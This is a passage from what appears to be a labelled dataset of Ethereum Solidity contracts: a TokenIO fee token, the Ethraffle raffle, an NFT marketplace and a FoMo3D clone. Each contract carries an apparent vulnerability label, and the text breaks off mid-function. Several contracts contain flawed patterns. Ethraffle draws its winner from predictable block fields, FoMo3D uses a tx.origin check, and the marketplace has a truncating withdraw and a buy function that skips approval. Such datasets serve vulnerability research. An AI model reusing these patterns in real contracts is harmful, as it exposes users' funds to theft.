uint usdDecimals = getTokenDecimals(self, 'USDx');
uint fxDecimals = getTokenDecimals(self, currency);
uint usdAmount = ((fxAmount.mul(getFxUSDBPSRate(self, currency)).div(10000)).mul(10**usdDecimals)).div(10**fxDecimals);
return usdAmount;
}
}
contract TokenIOERC20FeesApply is Ownable {
using SafeMath for uint;
using TokenIOLib for TokenIOLib.Data;
TokenIOLib.Data lib;
event Transfer(address indexed from, address indexed to, uint256 amount);
constructor(address _storageContract) public {
lib.Storage = TokenIOStorage(_storageContract);
owner[msg.sender] = true;
}
function setParams(
string _name,
string _symbol,
string _tla,
string _version,
uint _decimals,
address _feeContract,
uint _fxUSDBPSRate
) onlyOwner public returns (bool success) {
require(lib.setTokenName(_name),
"Error: Unable to set token name. Please check arguments.");
require(lib.setTokenSymbol(_symbol),
"Error: Unable to set token symbol. Please check arguments.");
require(lib.setTokenTLA(_tla),
"Error: Unable to set token TLA. Please check arguments.");
require(lib.setTokenVersion(_version),
"Error: Unable to set token version. Please check arguments.");
require(lib.setTokenDecimals(_symbol, _decimals),
"Error: Unable to set token decimals. Please check arguments.");
require(lib.setFeeContract(_feeContract),
"Error: Unable to set fee contract. Please check arguments.");
require(lib.setFxUSDBPSRate(_symbol, _fxUSDBPSRate),
"Error: Unable to set fx USD basis points rate. Please check arguments.");
return true;
}
function name() public view returns (string _name) {
return lib.getTokenName(address(this));
}
function symbol() public view returns (string _symbol) {
return lib.getTokenSymbol(address(this));
}
function tla() public view returns (string _tla) {
return lib.getTokenTLA(address(this));
}
function version() public view returns (string _version) {
return lib.getTokenVersion(address(this));
}
function decimals() public view returns (uint _decimals) {
return lib.getTokenDecimals(lib.getTokenSymbol(address(this)));
}
function totalSupply() public view returns (uint supply) {
return lib.getTokenSupply(lib.getTokenSymbol(address(this)));
}
function allowance(address account, address spender) public view returns (uint amount) {
return lib.getTokenAllowance(lib.getTokenSymbol(address(this)), account, spender);
}
function balanceOf(address account) public view returns (uint balance) {
return lib.getTokenBalance(lib.getTokenSymbol(address(this)), account);
}
function getFeeParams() public view returns (uint bps, uint min, uint max, uint flat, bytes feeMsg, address feeAccount) {
address feeContract = lib.getFeeContract(address(this));
return (
lib.getFeeBPS(feeContract),
lib.getFeeMin(feeContract),
lib.getFeeMax(feeContract),
lib.getFeeFlat(feeContract),
lib.getFeeMsg(feeContract),
feeContract
);
}
function calculateFees(uint amount) public view returns (uint fees) {
return lib.calculateFees(lib.getFeeContract(address(this)), amount);
}
function transfer(address to, uint amount) public notDeprecated returns (bool success) {
address feeContract = lib.getFeeContract(address(this));
string memory currency = lib.getTokenSymbol(address(this));
uint fees = calculateFees(amount);
bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(msg.sender)));
bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(to)));
bytes32 id_c = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(feeContract)));
require(
lib.Storage.setUint(id_a, lib.Storage.getUint(id_a).sub(amount.add(fees))),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
require(
lib.Storage.setUint(id_b, lib.Storage.getUint(id_b).add(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
require(
lib.Storage.setUint(id_c, lib.Storage.getUint(id_c).add(fees)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint amount) public notDeprecated returns (bool success) {
address feeContract = lib.getFeeContract(address(this));
string memory currency = lib.getTokenSymbol(address(this));
uint fees = calculateFees(amount);
bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(from)));
bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(to)));
bytes32 id_c = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(feeContract)));
require(
lib.Storage.setUint(id_a, lib.Storage.getUint(id_a).sub(amount.add(fees))),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
require(
lib.Storage.setUint(id_b, lib.Storage.getUint(id_b).add(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
require(
lib.Storage.setUint(id_c, lib.Storage.getUint(id_c).add(fees)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
require(
lib.updateAllowance(lib.getTokenSymbol(address(this)), from, amount.add(fees)),
"Error: Unable to update allowance for spender."
);
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint amount) public notDeprecated returns (bool success) {
require(
lib.approveAllowance(spender, amount),
"Error: Unable to approve allowance for spender. Please ensure spender is not null and does not have a frozen balance."
);
return true;
}
function deprecateInterface() public onlyOwner returns (bool deprecated) {
require(lib.setDeprecatedContract(address(this)),
"Error: Unable to deprecate contract!");
return true;
}
modifier notDeprecated() {
require(!lib.isContractDeprecated(address(this)),
"Error: Contract has been deprecated, cannot perform operation!");
_;
}
} | 1 | 4,374 |
pragma solidity ^0.4.0;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
uint blockTimestamp,
uint blockNumber,
uint gasLimit,
uint difficulty,
uint gas,
uint value,
address msgSender,
address blockCoinbase,
bytes32 sha
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
address public creatorAddress;
address constant public rakeAddress = 0x15887100f3b3cA0b645F007c6AA11348665c69e5;
uint constant public prize = 0.1 ether;
uint constant public rake = 0.02 ether;
uint constant public totalTickets = 6;
uint constant public pricePerTicket = (prize + rake) / totalTickets;
uint public raffleId = 1;
uint public nextTicket = 1;
mapping (uint => Contestant) public contestants;
uint[] public gaps;
function Ethraffle() public {
creatorAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket <= totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket > totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
bytes32 sha = sha3(
block.timestamp +
block.number +
block.gaslimit +
block.difficulty +
msg.gas +
msg.value +
uint(msg.sender) +
uint(block.coinbase)
);
uint winningNumber = (uint(sha) % totalTickets) + 1;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(
raffleId, winningNumber, winningAddress, block.timestamp,
block.number, block.gaslimit, block.difficulty, msg.gas,
msg.value, msg.sender, block.coinbase, sha
);
raffleId++;
nextTicket = 1;
winningAddress.transfer(prize);
rakeAddress.transfer(rake);
}
function getRefund() public {
uint refunds = 0;
for (uint i = 1; i <= totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refunds++;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refunds > 0) {
msg.sender.transfer(refunds * pricePerTicket);
}
}
function kill() public {
if (msg.sender == creatorAddress) {
selfdestruct(creatorAddress);
}
}
} | 0 | 1,777 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
using SafeMath for uint256;
address public ceoAddress = address(0x2076A228E6eB670fd1C604DE574d555476520DB7);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
struct Game {
mapping(uint256 => Price) tokenPrice;
uint256[] tokenIdSale;
uint256 ETHFee;
uint256 limitETHFee;
uint256 limitHBWALLETFee;
uint256 hightLightFee;
}
mapping(address => Game) public Games;
constructor() public {
Games[address(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B)].ETHFee = 0;
Games[address(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B)].limitETHFee = 0;
Games[address(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B)].limitHBWALLETFee = 0;
Games[address(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B)].hightLightFee = 30000000000000000;
Games[address(0xdceaf1652a131F32a821468Dc03A92df0edd86Ea)].ETHFee = 0;
Games[address(0xdceaf1652a131F32a821468Dc03A92df0edd86Ea)].limitETHFee = 0;
Games[address(0xdceaf1652a131F32a821468Dc03A92df0edd86Ea)].limitHBWALLETFee = 0;
Games[address(0xdceaf1652a131F32a821468Dc03A92df0edd86Ea)].hightLightFee = 30000000000000000;
Games[address(0x273f7F8E6489682Df756151F5525576E322d51A3)].ETHFee = 0;
Games[address(0x273f7F8E6489682Df756151F5525576E322d51A3)].limitETHFee = 0;
Games[address(0x273f7F8E6489682Df756151F5525576E322d51A3)].limitHBWALLETFee = 0;
Games[address(0x273f7F8E6489682Df756151F5525576E322d51A3)].hightLightFee = 30000000000000000;
Games[address(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d)].ETHFee = 0;
Games[address(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d)].limitETHFee = 0;
Games[address(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d)].limitHBWALLETFee = 0;
Games[address(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d)].hightLightFee = 30000000000000000;
Games[address(0x1276dce965ADA590E42d62B3953dDc1DDCeB0392)].ETHFee = 0;
Games[address(0x1276dce965ADA590E42d62B3953dDc1DDCeB0392)].limitETHFee = 0;
Games[address(0x1276dce965ADA590E42d62B3953dDc1DDCeB0392)].limitHBWALLETFee = 0;
Games[address(0x1276dce965ADA590E42d62B3953dDc1DDCeB0392)].hightLightFee = 30000000000000000;
Games[address(0xE60D2325f996e197EEdDed8964227a0c6CA82D0f)].ETHFee = 0;
Games[address(0xE60D2325f996e197EEdDed8964227a0c6CA82D0f)].limitETHFee = 0;
Games[address(0xE60D2325f996e197EEdDed8964227a0c6CA82D0f)].limitHBWALLETFee = 0;
Games[address(0xE60D2325f996e197EEdDed8964227a0c6CA82D0f)].hightLightFee = 30000000000000000;
Games[address(0x617913Dd43dbDf4236B85Ec7BdF9aDFD7E35b340)].ETHFee = 0;
Games[address(0x617913Dd43dbDf4236B85Ec7BdF9aDFD7E35b340)].limitETHFee = 0;
Games[address(0x617913Dd43dbDf4236B85Ec7BdF9aDFD7E35b340)].limitHBWALLETFee = 0;
Games[address(0x617913Dd43dbDf4236B85Ec7BdF9aDFD7E35b340)].hightLightFee = 30000000000000000;
Games[address(0xECd6b4A2f82b0c9FB283A4a8a1ef5ADf555f794b)].ETHFee = 0;
Games[address(0xECd6b4A2f82b0c9FB283A4a8a1ef5ADf555f794b)].limitETHFee = 0;
Games[address(0xECd6b4A2f82b0c9FB283A4a8a1ef5ADf555f794b)].limitHBWALLETFee = 0;
Games[address(0xECd6b4A2f82b0c9FB283A4a8a1ef5ADf555f794b)].hightLightFee = 30000000000000000;
Games[address(0xf26A23019b4699068bb54457f32dAFCF22A9D371)].ETHFee = 0;
Games[address(0xf26A23019b4699068bb54457f32dAFCF22A9D371)].limitETHFee = 0;
Games[address(0xf26A23019b4699068bb54457f32dAFCF22A9D371)].limitHBWALLETFee = 0;
Games[address(0xf26A23019b4699068bb54457f32dAFCF22A9D371)].hightLightFee = 30000000000000000;
}
function getTokenPrice(address _game, uint256 _tokenId) public view returns (address, uint256, uint256, uint256, bool) {
return (Games[_game].tokenPrice[_tokenId].tokenOwner, Games[_game].tokenPrice[_tokenId].price, Games[_game].tokenPrice[_tokenId].fee, Games[_game].tokenPrice[_tokenId].hbfee, Games[_game].tokenPrice[_tokenId].isHightlight);
}
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
modifier isOwnerOf(address _game, uint256 _tokenId) {
IERC721 erc721Address = IERC721(_game);
require(erc721Address.ownerOf(_tokenId) == msg.sender);
_;
}
function _burnArrayTokenIdSale(address _game, uint8 index) internal {
if (index >= Games[_game].tokenIdSale.length) return;
for (uint i = index; i<Games[_game].tokenIdSale.length-1; i++){
Games[_game].tokenIdSale[i] = Games[_game].tokenIdSale[i+1];
}
delete Games[_game].tokenIdSale[Games[_game].tokenIdSale.length-1];
Games[_game].tokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(address _game, uint8[] memory arr) internal {
for(uint8 i; i<arr.length; i++){
_burnArrayTokenIdSale(_game, i);
}
}
function ownerOf(address _game, uint256 _tokenId) public view returns (address){
IERC721 erc721Address = IERC721(_game);
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(address _game, uint256 _tokenId) public view returns (address){
IERC721 erc721Address = IERC721(_game);
return erc721Address.getApproved(_tokenId);
}
function setPrice(address _game, uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint _hbfee, bool _isHightLight) internal {
Games[_game].tokenPrice[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
Games[_game].tokenIdSale.push(_tokenId);
}
function calPriceFeeEth(address _game, uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns(uint256, uint256) {
uint256 ethfee;
uint256 _hightLightFee = 0;
uint256 ethNeed;
if (_isHightLight == 1 && (Games[_game].tokenPrice[_tokenId].price == 0 || !Games[_game].tokenPrice[_tokenId].isHightlight)) {
_hightLightFee = Games[_game].hightLightFee;
}
if (Games[_game].tokenPrice[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(Games[_game].tokenPrice[_tokenId].price).mul(Games[_game].ETHFee).div(Percen);
if(Games[_game].tokenPrice[_tokenId].price == 0) {
if (ethfee >= Games[_game].limitETHFee) {
ethNeed = ethfee.add(_hightLightFee);
} else {
ethNeed = Games[_game].limitETHFee.add(_hightLightFee);
}
}
}
return (ethNeed, _hightLightFee);
}
function setPriceFeeEth(address _game, uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public payable isOwnerOf(_game, _tokenId) {
require(Games[_game].tokenPrice[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == 1 && (Games[_game].tokenPrice[_tokenId].price == 0 || !Games[_game].tokenPrice[_tokenId].isHightlight)) {
_hightLightFee = Games[_game].hightLightFee;
}
if (Games[_game].tokenPrice[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(Games[_game].tokenPrice[_tokenId].price).mul(Games[_game].ETHFee).div(Percen);
if(Games[_game].tokenPrice[_tokenId].price == 0) {
if (ethfee >= Games[_game].limitETHFee) {
require(msg.value == ethfee.add(_hightLightFee));
} else {
require(msg.value == Games[_game].limitETHFee.add(_hightLightFee));
ethfee = Games[_game].limitETHFee;
}
}
ethfee = ethfee.add(Games[_game].tokenPrice[_tokenId].fee);
} else ethfee = _ethPrice.mul(Games[_game].ETHFee).div(Percen);
setPrice(_game, _tokenId, _ethPrice, ethfee, 0, _isHightLight == 1);
}
function calPriceFeeHBWALLET(address _game, uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns (uint256){
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
uint hbNeed;
address local_game = _game;
if (_isHightLight == 1 && (Games[_game].tokenPrice[_tokenId].price == 0 || !Games[_game].tokenPrice[_tokenId].isHightlight)) {
_hightLightFee = Games[local_game].hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (Games[_game].tokenPrice[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(Games[local_game].tokenPrice[_tokenId].price).mul(Games[_game].ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
if(Games[_game].tokenPrice[_tokenId].price == 0) {
if (fee >= Games[_game].limitHBWALLETFee) {
hbNeed = fee.add(_hightLightFee);
} else {
hbNeed = Games[_game].limitHBWALLETFee.add(_hightLightFee);
}
}
}
return hbNeed;
}
function setPriceFeeHBWALLET(address _game, uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public isOwnerOf(_game, _tokenId) {
require(Games[_game].tokenPrice[_tokenId].price != _ethPrice);
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
address local_game = _game;
uint256 local_tokenId = _tokenId;
if (_isHightLight == 1 && (Games[_game].tokenPrice[_tokenId].price == 0 || !Games[_game].tokenPrice[_tokenId].isHightlight)) {
_hightLightFee = Games[local_game].hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (Games[_game].tokenPrice[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(Games[local_game].tokenPrice[local_tokenId].price).mul(Games[local_game].ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
if(Games[_game].tokenPrice[_tokenId].price == 0) {
if (fee >= Games[_game].limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee.add(_hightLightFee)));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), Games[local_game].limitHBWALLETFee.add(_hightLightFee)));
fee = Games[_game].limitHBWALLETFee;
}
}
fee = fee.add(Games[_game].tokenPrice[_tokenId].hbfee);
} else {
ethfee = _ethPrice.mul(Games[local_game].ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
setPrice(_game, _tokenId, _ethPrice, 0, fee, _isHightLight == 1);
}
function removePrice(address _game, uint256 _tokenId) public isOwnerOf(_game, _tokenId) returns (uint256){
if (Games[_game].tokenPrice[_tokenId].fee > 0) msg.sender.transfer(Games[_game].tokenPrice[_tokenId].fee);
else if (Games[_game].tokenPrice[_tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, Games[_game].tokenPrice[_tokenId].hbfee);
resetPrice(_game, _tokenId);
return Games[_game].tokenPrice[_tokenId].price;
}
function setHBWALLETExchange(uint _HBWALLETExchange) public onlyOwner returns (uint){
require(_HBWALLETExchange >= 1);
HBWALLETExchange = _HBWALLETExchange;
return (HBWALLETExchange);
}
function setLimitFee(address _game, uint256 _ethFee, uint256 _ethlimitFee, uint _hbWalletlimitFee, uint256 _hightLightFee) public onlyOwner returns (uint256, uint256, uint256, uint256){
require(_ethFee >= 0 && _ethlimitFee >= 0 && _hbWalletlimitFee >= 0 && _hightLightFee >= 0);
Games[_game].ETHFee = _ethFee;
Games[_game].limitETHFee = _ethlimitFee;
Games[_game].limitHBWALLETFee = _hbWalletlimitFee;
Games[_game].hightLightFee = _hightLightFee;
return (Games[_game].ETHFee, Games[_game].limitETHFee, Games[_game].limitHBWALLETFee, Games[_game].hightLightFee);
}
function _withdraw(uint256 amount, uint256 _amountHB) internal {
require(address(this).balance >= amount && hbwalletToken.balanceOf(address(this)) >= _amountHB);
if(amount > 0) {
msg.sender.transfer(amount);
}
if(_amountHB > 0) {
hbwalletToken.transfer(msg.sender, _amountHB);
}
}
function withdraw(uint256 amount, uint8 _amountHB) public onlyCeoAddress {
_withdraw(amount, _amountHB);
}
function cancelBussiness(address _game) public onlyCeoAddress {
IERC721 erc721Address = IERC721(_game);
uint256[] memory arr = Games[_game].tokenIdSale;
uint length = Games[_game].tokenIdSale.length;
for (uint i = 0; i < length; i++) {
if (Games[_game].tokenPrice[arr[i]].tokenOwner == erc721Address.ownerOf(arr[i])) {
if (Games[_game].tokenPrice[arr[i]].fee > 0) {
uint256 eth = Games[_game].tokenPrice[arr[i]].fee;
if(Games[_game].tokenPrice[arr[i]].isHightlight) eth = eth.add(Games[_game].hightLightFee);
if(address(this).balance >= eth) {
Games[_game].tokenPrice[arr[i]].tokenOwner.transfer(eth);
}
}
else if (Games[_game].tokenPrice[arr[i]].hbfee > 0) {
uint hb = Games[_game].tokenPrice[arr[i]].hbfee;
if(Games[_game].tokenPrice[arr[i]].isHightlight) hb = hb.add(Games[_game].hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(Games[_game].tokenPrice[arr[i]].tokenOwner, hb);
}
}
resetPrice(_game, arr[i]);
}
}
_withdraw(address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue(address _game) public view returns (uint256, uint){
IERC721 erc721Address = IERC721(_game);
uint256 ethfee = 0;
uint256 hbfee = 0;
for (uint i = 0; i < Games[_game].tokenIdSale.length; i++) {
if (Games[_game].tokenPrice[Games[_game].tokenIdSale[i]].tokenOwner == erc721Address.ownerOf(Games[_game].tokenIdSale[i])) {
if (Games[_game].tokenPrice[Games[_game].tokenIdSale[i]].fee > 0) {
ethfee = ethfee.add(Games[_game].tokenPrice[Games[_game].tokenIdSale[i]].fee);
}
else if (Games[_game].tokenPrice[Games[_game].tokenIdSale[i]].hbfee > 0) {
hbfee = hbfee.add(Games[_game].tokenPrice[Games[_game].tokenIdSale[i]].hbfee);
}
}
}
uint256 eth = address(this).balance.sub(ethfee);
uint256 hb = hbwalletToken.balanceOf(address(this)).sub(hbfee);
return (eth, hb);
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(address _game, uint256 tokenId) public payable {
IERC721 erc721Address = IERC721(_game);
require(getApproved(_game, tokenId) == address(this));
require(Games[_game].tokenPrice[tokenId].price > 0 && Games[_game].tokenPrice[tokenId].price == msg.value);
erc721Address.transferFrom(Games[_game].tokenPrice[tokenId].tokenOwner, msg.sender, tokenId);
Games[_game].tokenPrice[tokenId].tokenOwner.transfer(msg.value);
resetPrice(_game, tokenId);
}
function buyWithoutCheckApproved(address _game, uint256 tokenId) public payable {
IERC721 erc721Address = IERC721(_game);
require(Games[_game].tokenPrice[tokenId].price > 0 && Games[_game].tokenPrice[tokenId].price == msg.value);
erc721Address.transferFrom(Games[_game].tokenPrice[tokenId].tokenOwner, msg.sender, tokenId);
Games[_game].tokenPrice[tokenId].tokenOwner.transfer(msg.value);
resetPrice(_game, tokenId);
}
function resetPrice(address _game, uint256 _tokenId) private {
Games[_game].tokenPrice[_tokenId] = Price(address(0), 0, 0, 0, false);
for (uint8 i = 0; i < Games[_game].tokenIdSale.length; i++) {
if (Games[_game].tokenIdSale[i] == _tokenId) {
_burnArrayTokenIdSale(_game, i);
}
}
}
} | 1 | 2,813 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract DiviesCTR {
function deposit() public payable;
}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
DiviesCTR constant private Divies = DiviesCTR(0xB4Ad91eDd0a7F2830B93f321130C393982E10958);
address constant private FeeAddr = 0xfc256291687150b9dB4502e721a9e6e98fd1FE93;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xCac345582F8f446C6e4032ABeEa93A627E44244A);
string constant public name = "HoDL4D";
string constant public symbol = "H4D";
uint256 private rndExtra_ = 30 seconds;
uint256 private rndGap_ = 3 minutes;
uint256 constant private rndInit_ = 3 hours;
uint256 constant private rndInc_ = 1 minutes;
uint256 constant private rndMax_ = 3 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(56,10);
fees_[1] = F3Ddatasets.TeamFee(56,10);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(56,10);
potSplit_[0] = F3Ddatasets.PotSplit(20,20);
potSplit_[1] = F3Ddatasets.PotSplit(20,20);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
